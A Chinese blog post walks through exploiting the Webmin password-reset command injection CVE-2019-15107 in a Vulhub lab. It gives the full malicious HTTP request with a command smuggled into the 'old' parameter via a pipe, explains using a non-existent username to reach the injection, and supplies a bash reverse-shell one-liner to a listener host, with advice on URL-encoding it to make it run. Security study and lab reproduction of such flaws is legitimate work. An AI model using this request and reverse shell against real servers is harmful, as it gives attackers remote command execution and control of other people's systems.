Webmin远程命令执行(CVE-2019-15107)

Webmin远程命令执行(CVE-2019-15107)

Webmin是一款基于web的Unix系统管理工具、管理员可通过浏览器访问Webmin的各种管理功能,完成对应的管理操作,当用户开启Webmin密码重置功能后,利用该漏洞可执行任意命令,获取系统权限
漏洞版本:Webmin<=1.9.20
使用Vulhub来快速启动漏洞环境
docker-compose up -d    启动环境

直接使用浏览器访问该IP的10000端口

然后抓包构造以下数据,当我们的用户名存在时会直接返回修改密码失败,原密码错误,不会执行后面的命令。

这种思路其实可以也用到逻辑测试上,当用户存在时不存在漏洞,但是当用户不存在时确可以执行命令。

 

所以我们需要构造一个系统内不存在的用户,然后在old参数中使用 | 来连接执行命令。

 

 1 POST /password_change.cgi HTTP/1.1
 2 Host: 192.168.0.103:10000
 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 6 Accept-Encoding: gzip, deflate
 7 Content-Type: application/x-www-form-urlencoded
 8 Content-Length: 61
 9 Origin: https://192.168.0.103:10000
10 Connection: close
11 Referer: https://192.168.0.103:10000/
12 Cookie: redirect=1; testing=1;sid=x;sessiontest=1
13 Upgrade-Insecure-Requests: 1
14 
15 user=root111&pam=&expired=2&old=test|ls&new1=test2&new2=test2
其实在测试参数中只要确保存在user、old、new1、new2这四个参数就可执行命令
简单利用:
使用nc监听8888端口

然后使用bash反弹shell

bash -c "bash -i >& /dev/tcp/192.168.0.102/8888 0>&1"

这里需要进行一下URL编码

这里一直不明白为什么一定要用编码才能执行命令

其实是因为“&”符号,当程序在运行时遇到&符时,会被当做逻辑符号来解释,但前面我们输入的密码是假的,所以不能执行命令,我们只需要把“&”符进行编码就可以执行命令反弹shell

 成功反弹回来


 

 完结!!!

 

posted @ 2021-04-26 16:50  蹲在路边吃红薯  阅读(267)  评论(0编辑  收藏  举报